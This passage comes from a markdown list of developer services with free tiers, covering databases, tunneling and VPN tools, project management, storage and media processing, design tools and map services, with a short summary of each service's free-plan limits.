* [Tinybird](https://tinybird.co) - A serverless managed ClickHouse with connection-less data ingest over HTTP and let's you publish SQL queries as managed HTTP APIs. No time limit on free-tier, 10GB storage + 1000 API requests per day.
* [TigerGraph Cloud](https://www.tigergraph.com/cloud/) — Managed native Graph DBMS / analytics platform with a SQL-like graph query language and a REST API. One free instance with 2 vCPU, 8GB Memory, and 50GB storage that sleeps after 1 hour of inactivity.
* [TerminusCMS](https://terminusdb.com/pricing) — Managed free service for TerminusDB, a document and graph database written in Prolog and Rust. Free for dev, paid service for enterprise deployments and support.
* [Macrometa](https://www.macrometa.com/) - a noSQL database, Pub/Sub, event processing, and serverless edge computing platform for building geo-distributed and real-time applications. Free dev account gives access to 10,000 Operations/Day & 200MB Storage.
* [Planetscale](https://planetscale.com/) - PlanetScale is a MySQL compatible, serverless database platform powered by Vitess, 1 databases for free with 1 Production branch and 1 Development branch, 5GB storage, 1 Billion rows read/mo per database, and 10 Million rows written/mo per database.
* [YugabyteDB](https://cloud.yugabyte.com) - YugabyteDB is a distributed SQL database compatible with PostgreSQL. The cloud free tier is a 2 vCPU, 4GB RAM, 10GB Disk.
* [filess.io](https://filess.io) - filess.io is a platform where you can create 1 database of the following DBMS for free: MySQL, MariaDB, MongoDB, PostgreSQL.
* [xata.io](https://xata.io) - Xata is a serverless database with built-in powerful search and analytics. One API, multiple type-safe client libraries, and optimized for your development workflow. Free-forever tier is sufficient for hobby developers which comes with 3 units of Xata, please refer to website for unit definition.
* [8base.com](https://www.8base.com/) - 8base is a full-stack low-code development platform built for JavaScript developers built on top of MySQL and GraphQL and serverless backend-as-a-service, it allows you to start building web applications quicky using a UI app builder and scale easily, Free tier includes: rows: 2,500, Storage: 500Mb, Serverless computing: 1Gb/h, client app users: 5.
**[⬆️ Back to Top](#table-of-contents)**
## Tunneling, WebRTC, Web Socket Servers and Other Routers
* [Pinggy](https://pinggy.io) — Public URLs for localhost with a single command, no downloads required. HTTPS / TCP / TLS tunnels. Free plan has 60 minutes tunnel life time.
* [conveyor.cloud](https://conveyor.cloud/) — Visual Studio extension to expose IIS Express to the local network or over a tunnel to a public URL.
* [Hamachi](https://www.vpn.net/) — LogMeIn Hamachi is a hosted VPN service that lets you securely extend LAN-like networks to distributed teams with free plan allows unlimited networks with up to 5 peoples
* [localhost.run](https://localhost.run/) — Expose locally running servers over a tunnel to a public URL.
* [localtunnel](https://theboroer.github.io/localtunnel-www/) — Expose locally running servers over a tunnel to a public URL. Free hosted version, and [open source](https://github.com/localtunnel/localtunnel).
* [ngrok.com](https://ngrok.com/) — Expose locally running servers over a tunnel to a public URL.
* [Radmin VPN](https://www.radmin-vpn.com/) — Connect multiple computers together via a VPN enabling LAN-like networks. Unlimited peers. (Hamachi alternative)
* [segment.com](https://segment.com/) — Hub to translate and route events to other third-party services. 100,000 events/month free
* [STUN](https://en.wikipedia.org/wiki/STUN) — Session Traversal of User Datagram Protocol [UDP] Through Network Address Translators [NATs])
* Google STUN — [stun:stun.l.google.com:19302](stun:stun.l.google.com:19302)
* Twilio STUN — [stun:global.stun.twilio.com:3478?transport=udp](stun:global.stun.twilio.com:3478?transport=udp)
* [Tailscale](https://tailscale.com/) — Zero config VPN, using the open source WireGuard protocol. Installs on MacOS, iOS, Windows, Linux, and Android devices. Free plan for personal use with 100 devices and 3 user.
* [webhookrelay.com](https://webhookrelay.com) — Manage, debug, fan-out and proxy all your webhooks to public or internal (ie: localhost) destinations. Also, expose servers running in a private network over a tunnel by getting a public HTTP endpoint (`https://yoursubdomain.webrelay.io <----> http://localhost:8080`).
* [Hookdeck](https://hookdeck.com/pricing) — Develop, test and monitor your webhooks from a single place. 100K requests and 100K attempts per month with 3 days retention.
* [Xirsys](https://www.xirsys.com/pricing/) — Unlimited STUN usage + 500 MB monthly TURN bandwidth, capped bandwidth, single geographic region.
* [ZeroTier](https://www.zerotier.com) — FOSS managed virtual Ethernet as a service. Unlimited end-to-end encrypted networks of 25 clients on free plan. Clients for desktop/mobile/NA; web interface for configuration of custom routing rules and approval of new client nodes on private networks
* [LocalXpose](https://localxpose.io) — Reverse proxy that enables you to expose your localhost servers to the internet. Free plan has 15 minutes tunnel life time.
* [Traefik-Hub](https://traefik.io/traefik-hub/) - Publish locally running services over a tunnel to a public custom URL and secure them with access control. Free for 5 services in one cluster.
* [Expose](https://expose.dev/) - Expose local sites via secure tunnels. Free plan includes EU Server, Random subdomains and Single user.
**[⬆️ Back to Top](#table-of-contents)**
## Issue Tracking and Project Management
* [acunote.com](https://www.acunote.com/) — Free project management and SCRUM software for up to 5 team members
* [asana.com](https://asana.com/) — Free for private project with collaborators
* [Backlog](https://backlog.com) — Everything your team needs to release great projects in one platform. Free plan offers 1 Project with 10 users & 100MB storage.
* [Basecamp](https://basecamp.com/personal) - To-do lists, milestone management, forum-like messaging, file sharing, and time tracking. Up to 3 projects, 20 users, and 1GB of storage space.
* [bitrix24.com](https://www.bitrix24.com/) — Intranet and project management tool. Free plan has 5GB for unlimited users.
* [cacoo.com](https://cacoo.com/) — Online diagrams in real-time: flowchart, UML, network. Free max. 15 users/diagram, 25 sheets
* [Chpokify](https://chpokify.com/) — Teams based Planning Poker that saves time of sprint estimation. Free up to 5 users, free Jira integrations, unlimited video calls, unlimited teams, unlimited sessions.
* [clickup.com](https://clickup.com/) — Project management. Free, premium version with cloud storage. Mobile applications and Git integrations available
* [Clockify](https://clockify.me) - Time tracker and timesheet app that lets you track work hours across projects. Unlimited users, free forever.
* [Cloudcraft](https://cloudcraft.co/) — Design a professional architecture diagram in minutes with the Cloudcraft visual designer, optimized for AWS with smart components that show live data too. Free plan has unlimited private diagrams for single user.
* [Codegiant](https://codegiant.io) — Project Management with Repository hosting & CI/CD. Free Plan Offers Unlimited Repositories,Projects & Documents with 5 Team Members. 500 CI/CD minutes per month. 30000 Serverless Code Run minutes per month.1GB repository storage.
* [Confluence](https://www.atlassian.com/software/confluence) - Atlassian's content collaboration tool used to help teams collaborate and share knowledge efficiently. Free plan up to 10 users.
* [contriber.com](https://www.contriber.com/) — Customizable project management platform, free starter plan, 5 workspaces
* [diagrams.net](https://app.diagrams.net/) — Online diagrams stored locally, in Google Drive, OneDrive or Dropbox. Free for all features and storage levels
* [freedcamp.com](https://freedcamp.com/) - tasks, discussions, milestones, time tracking, calendar, files and password manager. Free plan with unlimited projects, users and files storage.
* [easyretro.io](https://www.easyretro.io/) — Simple and intuitive sprint retrospective tool. Free plan has 3 public boards and 1 survey per board per month.
* [GForge](https://gforge.com) — Project Management & Issue Tracking toolset for complex projects with self-premises and SaaS options. SaaS free plan offers first 5 users free & free for Open Source Projects.
* [gleek.io](https://www.gleek.io) — Free description-to-diagrams tool for developers. Create informal, UML class, object, or entity-relationship diagrams using your keyword.
* [GraphQL Inspector](https://github.com/marketplace/graphql-inspector) - GraphQL Inspector ouputs a list of changes between two GraphQL schemas. Every change is precisely explained and marked as breaking, non-breaking or dangerous.
* [huboard.com](https://huboard.com/) — Instant project management for your GitHub issues, free for Open Source
* [Hygger](https://hygger.io) — Project management platform. Free plan offers unlimited users,projects & boards with 100 MB Storage.
* [Instabug](https://instabug.com) — A comprehensive bug reporting and in-app feedback SDK for mobile apps. Free plan up to 1 app and 1 member.
* [Ilograph](https://www.ilograph.com/) — interactive diagrams that allow users to see their infrastructure from multiple perspectives and levels of detail. Diagrams can be expressed in code. Free tier has unlimited private diagrams with up to 3 viewers.
* [Jira](https://www.atlassian.com/software/jira) — Advanced software development project management tool used in many corporate environments. Free plan up to 10 users.
* [kanbanflow.com](https://kanbanflow.com/) — Board-based project management. Free, premium version with more options
* [kanbantool.com](https://kanbantool.com/) — Kanban board-based project management. Free plan has 2 boards, 2 users, without atachments or files.
* [Kitemaker.co](https://kitemaker.co) - Collaborate through all phases of the product development process and keep track of work across Slack, Discord, Figma, and Github. Unlimited users, unlimited spaces. Free plan up to 250 work items.
* [Kiter.app](https://www.kiter.app/) - Let's anyone organize their job search and keep track of interviews, opportunities, and connections. Powerful web app and chrome extension. Completely free.
* [Kumu.io](https://kumu.io/) — Relationship maps with animation, decorations, filters, clustering, spreadsheet imports and more. Free tier allows unlimited public projects. Graph size unlimited. Free private projects for students. Sandbox mode is available if you prefer to not leave your file publicly online (upload, edit, download, discard).
* [Linear](https://linear.app/) — Issue tracker with streamlined interface. Free for unlimited members, up to 10MB file upload size, 250 issues (excluding Archive)
* [Lucidchart](https://www.lucidchart.com/) - A online diagram tools with collaboration features. Free plan with 3 editable documents, 100 professional templates and basic collaboration features.
* [MeisterTask](https://www.meistertask.com/) — Online task management for teams. Free up to 3 projects, unlimited project members.
* [MeuScrum](https://www.meuscrum.com/en) - Free online scrum tool with kanban board
* [nTask](https://www.ntaskmanager.com/) — Project management software that enables your teams tn collaborate, plan, analyze and manage everyday tasks. Basic Plan free forever with 100 MB storage, 5 users/team. Unlimited workspaces, meetings,tasks, timesheets and issue tracking.
* [Ora](https://ora.pm/) - Agile task management & team collaboration. Free for up to 3 users and files are limited to 10 MB.
* [pivotaltracker.com](https://www.pivotaltracker.com/) — Free for unlimited public projects and two private projects with 3 total active users (read-write) and unlimited passive users (read-only).
* [Plaky](https://plaky.com) - Free task management (kanban) software without any limits. Unlimited users, unlimited projects, free forever.
* [plan.io](https://plan.io/) — Project Management with Repository Hosting and more options. Free for 2 users with 10 customers and 500MB Storage
* [Plane](https://plane.so/) - Plane is a simple, extensible, open source project and product management tool. Free for unlimited members, up to 5MB file upload size, 1000 issues.
* [planitpoker.com](https://www.planitpoker.com/) — Free online planning poker (estimation tool)
* [point.poker](https://www.point.poker/) - Online Planning Poker (consensus-based estimation tool). Free for unlimited users, teams, sessions, rounds and votes. No registration required.
* [ScrumFast](https://www.scrumfast.com) - Scrum board with a very intuitive interface, free up to 5 users.
* [Shake](https://www.shakebugs.com/) - In-app bug reporting and feedback tool for mobile apps. Free plan, 10 bug reports per app/per month.
* [Shortcut](https://shortcut.com/) - Project management platform. Free for up to 10 users forever.
* [SpeedBoard](https://speedboard.app) - Board for Agile and Scrum retrospectives - Free.
* [SuperPM](https://superpm.app/) - Versatile project management platform. Free for up to 3 projects, unlimited users, 1 GB storage.
* [Tadum](https://tadum.app) - Meeting agenda and minutes app designed for recurring meetings, free for teams up to 10
* [taiga.io](https://taiga.io/) — Project management platform for startups and agile developers, free for Open Source
* [Tara AI](https://tara.ai/) — Simple sprint management service. Free plan has unlimited tasks, sprints and workspaces, with no user limits.
* [targetprocess.com](https://www.targetprocess.com/) — Visual project management, from Kanban and Scrum to almost any operational process. Free for unlimited users, up to 1,000 data entities {[more details](https://www.targetprocess.com/pricing/)}
* [taskade.com](https://www.taskade.com/) — Real-time collaborative task lists and outlines for teams. Free plan has: 1 workspace with unlimited tasks and projects; 1GB file storage; 1 week project history; 5 attendees per video meeting.
* [taskulu.com](https://taskulu.com/) — Role based project management. Free up to 5 users. Integration with GitHub/Trello/Dropbox/Google Drive
* [teamwork.com](https://teamwork.com/) — Project management & Team Chat. Free for 5 users and 2 projects. Premium plans available.
* [teleretro.com](https://www.teleretro.com/) — Simple and fun retrospective tool with icebreakers, gifs and emojis. Free plan includes 3 retros and unlimited members.
* [testlio.com](https://testlio.com/) — Issue tracking, test management and beta testing platform. Free for private use
* [terrastruct.com](https://terrastruct.com/) — Online diagram maker specifically for software architecture. Free tier up to 4 layers per diagram.
* [todoist.com](https://todoist.com/) — Collaborative and individual task management. Free plan has: 5 active projects, 5 users in project, file uploading up to 5MB, 3 filters, 1 week activity history.
* [trello.com](https://trello.com/) — Board-based project management. Unlimited Personal Boards, 10 Team Boards.
* [Tweek](https://tweek.so/) — Simple Weekly To-Do Calendar & Task Management.
* [ubertesters.com](https://ubertesters.com/) — Test platform, integration and crowdtesters, 2 projects, 5 members
* [vabotu](https://vabotu.com/) - A collaborative tool for project management. Free and other plans are available. The Freelance plan is for 10 users, include messaging, task-boards, 5GB online storage, workspaces, export data.
* [Wikifactory](https://wikifactory.com/) — Product designing Service with Projects, VCS & Issues. Free plan offers unlimited projects & collaborators and 3GB storage.
* [Yodiz](https://www.yodiz.com/) — Agile development and issue tracking. Free up to 3 users, unlimited projects.
* [YouTrack](https://www.jetbrains.com/youtrack/buy/#edition=incloud) — Free hosted YouTrack (InCloud) for FOSS projects, private projects (free for 3 users). Includes time tracking and agile boards
* [zenhub.com](https://www.zenhub.com) — The only project management solution inside GitHub. Free for public repos, OSS and nonprofit organizations
* [zenkit.com](https://zenkit.com) — Project management and collaboration tool. Free for up to 5 members, 5 GB attachments.
* [Zube](https://zube.io) — Project management with free plan for 4 Projects & 4 users. GitHub integration available.
* [Toggl](https://toggl.com/) — Provides 2 free productivity tools. [Toggl Track](https://toggl.com/track/) for time management and tracking app with a free plan provides seamless time tracking and reporting designed for freelancers in mind. It has unlimited tracking records, projects, clients, tags, reporting and more. And [Toggl Plan](https://toggl.com/plan/) for task planning that comes with a free plan for solo developers with unlimited tasks, milestones and timelines.
* [Sflow](https://sflow.io) — sflow.io is a project management tool that is built for software agile development, marketing, sales, and customer support, especially for outsourcing project and cross-organization collaboration project. Free plan up to 3 projects and 5 members.
* [Pulse.red](https://pulse.red) — Free Minimalistic Time Tracker and Timesheet app for projects.
**[⬆️ Back to Top](#table-of-contents)**
## Storage and Media Processing
* [AndroidFileHost](https://androidfilehost.com/) - Free file sharing platform with unlimited speed, bandwidth, file count, download count, etc. Mainly aimed for Android dev related files like APK build, custom ROM & modifications, etc. But seems to accept any other files as well.
* [borgbase.com](https://www.borgbase.com/) — Simple and secure offsite backup hosting for Borg Backup. 10 GB free backup space and 2 repositories.
* [icedrive.net](https://www.icedrive.net/) - Simple cloud storage service. 10 GB free storage
* [sync.com](https://www.sync.com/) - End-to-End cloud storage service. 5 GB free storage
* [pcloud.com](https://www.pcloud.com/) - Cloud storage service. Up to 10 GB free storage
* [sirv.com](https://sirv.com/) — Smart Image CDN with on-the-fly image optimization and resizing. Free tier includes 500 MB of storage and 2 GB bandwidth.
* [cloudimage.io](https://www.cloudimage.io/en/home) — Full image optimization and CDN service with 1500+ Points of Presence around the world. A variety of image resizing, compression, watermarking functions. Open source plugins for responsive images, 360 image making and image editing. Free monthly plan with 25GB of CDN traffic and 25GB of cache storage and unlimited transformations.
* [cloudinary.com](https://cloudinary.com/) — Image upload, powerful manipulations, storage and delivery for sites and apps, with libraries for Ruby, Python, Java, PHP, Objective-C and more. Free tier includes 25 monthly credits. 1 credit is equal to 1,000 image transformations, 1 GB of storage, or 1 GB of CDN usage.
* [embed.ly](https://embed.ly/) — Provides APIs for embedding media in a webpage, responsive image scaling, extracting elements from a webpage. Free for up to 5,000 URLs/month at 15 requests/second
* [filestack.com](https://www.filestack.com/) — File picker, transform and deliver, free for 250 files, 500 transformations and 3 GB bandwidth
* [file.io](https://www.file.io) - 2 GB storage of files. A file is auto-deleted after 1 download. REST API to interact with the storage. Rate limit 1 request/minute.
* [freetools.site](https://freetools.site/) — Free online tools. Convert or edit documents, images, audio, video and more.
* [GoFile.io](https://gofile.io/) - Free file sharing and storage platform, can be used via web based UI & also API. unlimited file size, bandwidth, download count, etc. But when a file becomes inactive (no download for more than 10 days), it will be deleted.
* [gumlet.com](https://www.gumlet.com/) — Image resize-as-a-service. It also optimizes images and performs delivery via CDN. Free tier includes 1 GB bandwidth and unlimited number of image processing every month for 1 year.
* [image-charts.com](https://www.image-charts.com/) — Unlimited image chart generation with a watermark
* [Imgbot](https://github.com/marketplace/imgbot) — Imgbot is a friendly robot that optimizes your images and saves you time. Optimized images mean smaller file sizes without sacrificing quality. It's free for open source.
* [imgen](https://www.jitbit.com/imgen/) - Free unlimited social cover image generation API, no watermark
* [kraken.io](https://kraken.io/) — Image optimization for website performance as a service, free plan up to 1 MB file size
* [kvstore.io](https://www.kvstore.io/) — Key-value storage service. Free tier allows 100 keys, 1KB/key, 100 calls/hour
* [npoint.io](https://www.npoint.io/) — JSON store with collaborative schema editing
* [nitropack.io](https://nitropack.io/) - Accelerate your site's speed on autopilot with complete front-end optimization (caching, images and code optimization, CDN). Free for up to 5,000 pageviews/month
* [otixo.com](https://www.otixo.com/) — Encrypt, share, copy and move all your cloud storage files from one place. Basic plan provides unlimited files transfer with 250 MB max. file size and allows 5 encrypted files
* [packagecloud.io](https://packagecloud.io/) — Hosted Package Repositories for YUM, APT, RubyGem and PyPI. Limited free plans, open source plans available via request
* [getpantry.cloud](https://getpantry.cloud/) — A simple JSON data storage API that's perfect for personal projects, hackathons and mobile apps!
* [piio.co](https://piio.co/) — Responsive image optimization and delivery for every website. Free plan for developers and personal websites. Includes free CDN, WebP and Lazy Loading out of the box.
* [Pinata IPFS](https://pinata.cloud) — Pinata is the simplest way to upload and manage files on IPFS. Our friendly user interface combined with our IPFS API makes Pinata the easiest IPFS pinning service for platforms, creators, and collectors. 1 GB storage free along with access to API.
* [placekitten.com](https://placekitten.com/) — A quick and simple service for getting pictures of kittens for use as placeholders
* [plot.ly](https://plot.ly/) — Graph and share your data. Free tier includes unlimited public files and 10 private files
* [podio.com](https://podio.com/) — You can use Podio with a team of up to five people and try out the features of the Basic Plan, except user management
* [QuickChart](https://quickchart.io) — Generate embeddable image charts, graphs, and QR codes
* [redbooth.com](https://redbooth.com) — P2P file syncing, free for up to 2 users
* [resmush.it](https://resmush.it) — reSmush.it is a FREE API that provides image optimization. reSmush.it has been implemented on the most common CMS such as Wordpress, Drupal or Magento. reSmush.it is the most used image optimization API with more than 7 billions images already treated, and is still Free of charge.
* [Shotstack](https://shotstack.io) - API to generate and edit video at scale. Free up to 20 minutes of rendered video per month
* [tinypng.com](https://tinypng.com/) — API to compress and resize PNG and JPEG images, offers 500 compressions for free each month
* [transloadit.com](https://transloadit.com/) — Handles file uploads and encoding of video, audio, images, documents. Free for Open source, charities, and students via the GitHub Student Developer Pack. Commercial applications get 2 GB free for test driving
* [twicpics.com](https://www.twicpics.com) - Responsive images as a service. It provides an image CDN, a media processing API and frontend library to automate image optimization. The service is free up to 3GB trafic/month.
* [uploadcare.com](https://uploadcare.com/hub/developers/) — Uploadcare provides media pipeline with ultimate toolkit based on cutting-edge algorithms. All features are available for developers absolutely for free: File Uploading API and UI, Image CDN and Origin Services, Adaptive Delivery and Smart Compression. Limit free tier has 3000 uploads, 3 GB traffic and 3 GB storage.
* [imagekit.io](https://imagekit.io) – Image CDN with automatic optimization, real-time transformation, and storage that you can integrate with existing setup in minutes. Free plan includes up to 20GB bandwidth per month.
* [internxt.com](https://internxt.com) – Internxt Drive is a zero-knowledge file storage service that's based on absolute privacy and uncompromising security. Sign up and get 10 GB for free, forever!
* [degoo.com](https://degoo.com/) – AI based cloud storage with free up to 20 Gb, 3 devices, 5 Gb referral bonus (90 days account inactivity).
**[⬆️ Back to Top](#table-of-contents)**
## Design and UI
* [AllTheFreeStock](https://allthefreestock.com) - a curated list of free stock images, audio and videos.
* [Ant Design Landing Page](https://landing.ant.design/) - Ant Design Landing Page provides a template built by Ant Motion's motion components. It has a rich homepage template, downloads the template code package, and can be used quickly. You can also use the editor to quickly build your own dedicated page.
* [Backlight](https://backlight.dev/) — With collaboration between developers and designers at heart, Backlight is a very complete coding platform where teams build, document, publish, scale and maintain Design Systems.Free plan allows up to 3 editors working on 1 design system with unlimited viewers.
* [BoxySVG](https://boxy-svg.com/app) — A free installable Web app for drawing SVGs and exporting in svg,png,jpeg an other formats.
* [Circum Icons](https://circumicons.com) - Consistent open source icons as SVG for React, Vue and Svelte.
* [clevebrush.com](https://www.cleverbrush.com/) — Free Graphics Design / Photo Collage App, also they offer paid integration of it as component.
* [cloudconvert.com](https://cloudconvert.com/) — Convert anything to anything. 208 supported formats including videos to gif.
* [CodeMyUI](https://codemyui.com) - Handpicked collection of Web Design & UI Inspiration with Code Snippets.
* [ColorKit](https://colorkit.co/) - Create color palettes online or get inspiration from top palettes.
* [coolors](https://coolors.co/) - Color palette generator. Free.
* [Branition](https://branition.com/colors) - Hand curated color pallets best fitted for brands.
* [css-gradient.com](https://www.css-gradient.com/) - Free tool to easily generate custom cross browser css gradients. In RGB and HEX format.
* [easyvectors.com](https://easyvectors.com/) — EasyVectors.com is a stock of quality free SVG vector art. Download best vector graphics absolutely for free.
* [figma.com](https://www.figma.com) — Online, collaborative design tool for teams; free tier includes unlimited files and viewers with a max of 2 editors and 3 projects.
* [framer.com](https://www.framer.com/) - Framer helps you iterate and animate interface ideas for your next app, website, or product—starting with powerful layouts. For anyone validating Framer as a professional prototyping tool: unlimited viewers, up to 2 editors, up to 3 projects.
* [freeforcommercialuse.net](https://freeforcommercialuse.net/) — FFCU Worry-free model/property release stock photos
* [Gradientos](https://www.gradientos.app) - Makes choosing a gradient fast and easy.
* [Icon Horse](https://icon.horse) – Get the highest resolution favicon for any website from our simple API.
* [Icons8](https://icons8.com) — Icons, illustrations, photos, music, and design tools. Free Plan offers Limited formats in lower resolution. Link to Icons8 when you use our assets.
* [Invision App](https://www.invisionapp.com) - UI design and prototyping tool. Desktop and webapp available. Free to use with 1 active prototype.
* [landen.co](https://www.landen.co) — Generate, edit and publish beautiful websites and landing pages for your startup. All without code. Free tier allows you to have one website, fully customizable and published on the web.
* [lensdump.com](https://lensdump.com/) - Free cloud image hosting.
* [Lorem Picsum](https://picsum.photos/) - A Free tool, easy to use stylish placeholders. Just add your desired image size (width & height) after our URL, and you'll get a random image.
* [LottieFiles](https://lottiefiles.com/) - The world’s largest online platform for the world’s smallest animation format for designers, developers, and more. Access Lottie animation tools and plugins for Android, iOS, and Web.
* [MagicPattern](https://www.magicpattern.design/tools) — A collection of CSS & SVG background generators & tools for gradients, patterns, and blobs.
* [marvelapp.com](https://marvelapp.com/) — Design, prototyping and collaboration, free plan limited to one user and one project.
* [Mindmup.com](https://www.mindmup.com/) — Unlimited mind maps for free, and store them in the cloud. Your mind maps are available everywhere, instantly, from any device.
* [Mockplus iDoc](https://www.mockplus.com/idoc) - Mockplus iDoc is a powerful design collaboration & handoff tool. Free Plan includes 3 users and 5 projects with all features available.
* [mockupmark.com](https://mockupmark.com/create/free) — Create realistic t-shirt and clothing mockups for social media and E-commerce, 40 free mockups.
* [Octopus.do](https://octopus.do) — Visual sitemap builder. Build your website structure in real-time and rapidly share it to collaborate with your team or clients.
* [Pencil](https://github.com/evolus/pencil) - Open source design tool using Electron.
* [Penpot](https://penpot.app) - Web based, open source design and prototyping tool. Supports SVG. Completely free.
* [pexels.com](https://www.pexels.com/) - Free stock photos for commercial use. Has free API that allows you to search photos by keywords.
* [photopea.com](https://www.photopea.com) — A Free, Advanced online design editor with Adobe Photoshop UI supporting PSD, XCF & Sketch formats (Adobe Photoshop, Gimp and Sketch App).
* [pixlr.com](https://pixlr.com/) — Free online browser editor on the level of commercial ones.
* [Plasmic](https://www.plasmic.app/) - A fast, easy to use, powerful web design tool and page builder that integrates into your codebase. Build responsive pages or complex components; optionally extend with code; and publish to production sites and apps.
* [Pravatar](https://pravatar.cc/) - Generate random/placeholder fake avatar, which url can be directly hotlinked in your web/app.
* [Proto.io](https://www.proto.io) - Create fully interactive UI prototypes without coding. Free tier available when free trial ends. Free tier includes: 1 user, 1 project, 5 prototypes, 100MB online storage and preview in proto.io app.
* [resizeappicon.com](https://resizeappicon.com/) — A simple service to resize and manage your app icons.
* [Rive](https://rive.app) — Create and ship beautiful animations to any platform. Free forever for Individuals. The service is a editor which hosts all the graphics on their servers as well. They also provide runtimes for many platforms to run graphics made using Rive.
* [storyset.com](https://storyset.com/) — Create awesome free customised illustrations for your project using this tool.
* [smartmockups.com](https://smartmockups.com/) — Create product mockups, 200 free mockups.
* [tabler-icons.io](https://tabler-icons.io/) — Over 1500 free copy and paste SVG editable icons.
* [UI Avatars](https://ui-avatars.com/) - Generate avatars with initials from names. Which the urls can be directly hotlinked in your web/app. Support config parameters via the url.
* [unDraw](https://undraw.co/) - A constantly updated collection of beautiful svg images that you can use completely free and without attribution.
* [unsplash.com](https://unsplash.com/) - Free stock photos for commercial and noncommercial purposes (do-whatever-you-want license).
* [vectr.com](https://vectr.com/) — Free Design App for Web + Desktop.
* [walkme.com](https://www.walkme.com/) — Enterprise Class Guidance and Engagement Platform, free plan 3 walk-thrus up to 5 steps/walk.
* [Webflow](https://webflow.com) - WYSIWYG web site builder with animations and website hosting. Free for 2 projects.
* [Updrafts.app](https://updrafts.app) - WYSIWYG web site builder for tailwindcss based designs. Free for non-commercial usage.
* [whimsical.com](https://whimsical.com/) - Collaborative flowcharts, wireframes, sticky notes and mind maps. Create up to 4 free boards.
* [Zeplin](https://zeplin.io/) — Designer and developer collaboration platform. Show designs, assets and styleguides. Free for 1 project.
* [Pixelixe](https://pixelixe.com/) — Create and edit engaging and unique graphics and images online.
* [Responsively App](https://responsively.app) - A free dev-tool for faster and precise responsive web application development.
* [SceneLab](https://scenelab.io) - Online mockup graphics editor with an ever-expanding collection of free design templates
* [xLayers](https://xlayers.dev) - Preview and convert Sketch design files into Angular, React, Vue, LitElement, Stencil, Xamarin and more (free and open source at https://github.com/xlayers/xlayers)
* [Grapedrop](https://grapedrop.com/) — Responsive, powerful, SEO optimized web page builder based on GrapesJS Framework. Free for first 5 pages, unlimited custom domains, all features and simple usage.
* [Mastershot](https://mastershot.app) - Completely free browser-based video editor. No watermark, up to 1080p export options.
* [Unicorn Platform](https://unicornplatform.com/) - Effortless landing page builder with hosting. 1 website for free.
* [react-favicon.com](https://react-favicon.com/) - Generate Favicons for your web site using React and JSX using any font and icon library.
* [svgrepo.com](https://www.svgrepo.com/) - Explore, search and find the best fitting icons or vectors for your projects using wide variety vector library. Download free SVG Vectors for commercial use.
* [haikei.app](https://www.haikei.app/) - Haikei is a web app to generate unique SVG shapes, backgrounds, and patterns – ready to use with your design tools and workflow.
* [Canva](https://canva.com) - Free online design tool to create visual content.
* [Superdesigner](https://superdesigner.co) - A collection of free design tools to create unique backgrounds, patterns, shapes, images, and more with just a few clicks.
* [TeleportHQ](https://teleporthq.io/) - Low-code Front-end Design & Development Platform. TeleportHQ is the collaborative front-end platform to create and publish your headless static websites instantly. 3 free projects, unlimited collaborators, free code export.
* [vector.express](https://vector.express) — Convert your AI, CDR, DWG, DXF, EPS, HPGL, PDF, PLT, PS and SVG vector fast and easily.
* [Vertopal](https://www.vertopal.com) - Vertopal is a free online platform for converting files to a variety of file formats. Including developer converters like JPG to SVG, GIF to APNG, PNG to WEBP, JSON to XML and etc.
* [okso.app](https://okso.app) - Minimalistic online drawing app. Allows creating fast sketches and visual notes. Exports sketches to PNG, JPG, SVG, and WEBP. Also installable as PWA. Free to use for everyone (no registration is needed).
* [Wdrfree SVG](https://wdrfree.com/free-svg) - Black and White Free SVG Cut files.
* [Lucide](https://lucide.dev) - Free customizable and consistent SVG icon toolkit.
* [MDBootstrap](https://mdbootstrap.com/) - Free for personal & commercial use Bootstrap, Angular, React, and Vue UI Kits with over 700 components, stunning templates, 1-min installation, extensive tutorials & huge community.
* [Tailwind Elements](https://tailwind-elements.com/) - Free Bootstrap components recreated with Tailwind CSS, but with better design and more functionalities.
* [DaisyUI](https://daisyui.com/) -- Free. "Use Tailwind CSS but write fewer class names" offers components like buttons.
* [Scrollbar.app](https://scrollbar.app) -- Simple free web app for designing custom scrollbars for the web.
* [css.glass](https://css.glass/) -- Free web app for creating glassmorphic designs using CSS.
* [hypercolor.dev](https://hypercolor.dev/) -- A curated collection of of Tailwind CSS color gradients, also provides a variety of generators to create your own.
* [iconify.design](https://icon-sets.iconify.design/) -- A collection of more than 100 icon packs with a unified interface. Allows you to search for icons across packs and export individual icons as SVGs or for popular web frameworks.
* [NextUI](https://nextui.org/) -- Free. Beautiful, fast and modern React & Next.js UI library.
* [Glyphs](https://glyphs.fyi/) -- Free, The Mightiest Icons on the Web, Fully editable & truly open source design system.
* [ShadcnUI](https://ui.shadcn.com/) -- Beautifully designed components that you can copy and paste into your apps. Accessible. Customizable. Open Source.
* [HyperUI](https://www.hyperui.dev/) -- Free Open Source Tailwind CSS Components.
**[⬆️ Back to Top](#table-of-contents)**
## Design Inspiration
* [awwwards.](https://www.awwwards.com/) - [Top websites] A showcases of all the best designed websites (voted on by designers).
* [Behance](https://www.behance.net/) - [Design showcase] A place where designers showcase their work. Filterable with categories for UI/UX projects.
* [dribbble](https://dribbble.com/) - [Design showcase] Unique design inspiration, generally not from real applications.
* [Landings](https://landings.dev/) - [Web Screenshots] Find the best landing pages for your design inspiration based on your preference.
* [LovelyLanding.net](https://www.lovelylanding.net/) - [Landing Page Designs] Frequently updated landing page screenshots. Includes Desktop, Tablet and Mobile screeshots.
* [Mobbin](https://mobbin.design/) - [Mobile screenshots] Save hours of UI & UX research with our library of 50,000+ fully searchable mobile app screenshots.
* [Mobile Patterns](https://www.mobile-patterns.com/) - [Mobile screenshots] A design inspirational library featuring finest UI UX Patterns (iOS and Android) for designers, developers, and product makers to reference.
* [Screenlane](https://screenlane.com/) - [Mobile screenshots] Get inspired and keep up with the latest web & mobile app UI design trends. Filterable by pattern and app.
* [scrnshts](https://scrnshts.club/) - [Mobile screenshots] A hand-picked collection of the finest app store design screenshots.
* [UI Garage](https://uigarage.net/) - [Mobile and web screenshots] Daily UI inspiration & patterns for designers, developers to find inspiration, tools and the best resources for your project.
* [Refero](https://refero.design/) - [Web screenshots] Tagged and searchable collection of design references from great web applications.
**[⬆️ Back to Top](#table-of-contents)**
## Data Visualization on Maps
* [IP Geolocation](https://ipgeolocation.io/) — Free DEVELOPER plan available with 30K requests/month.
* [carto.com](https://carto.com/) — Create maps and geospatial APIs from your data and public data.
* [Clockwork Micro](https://clockworkmicro.com/) — Map tools that work like clockwork. 50,000 free queries per month (map tiles, db2vector, elevation).
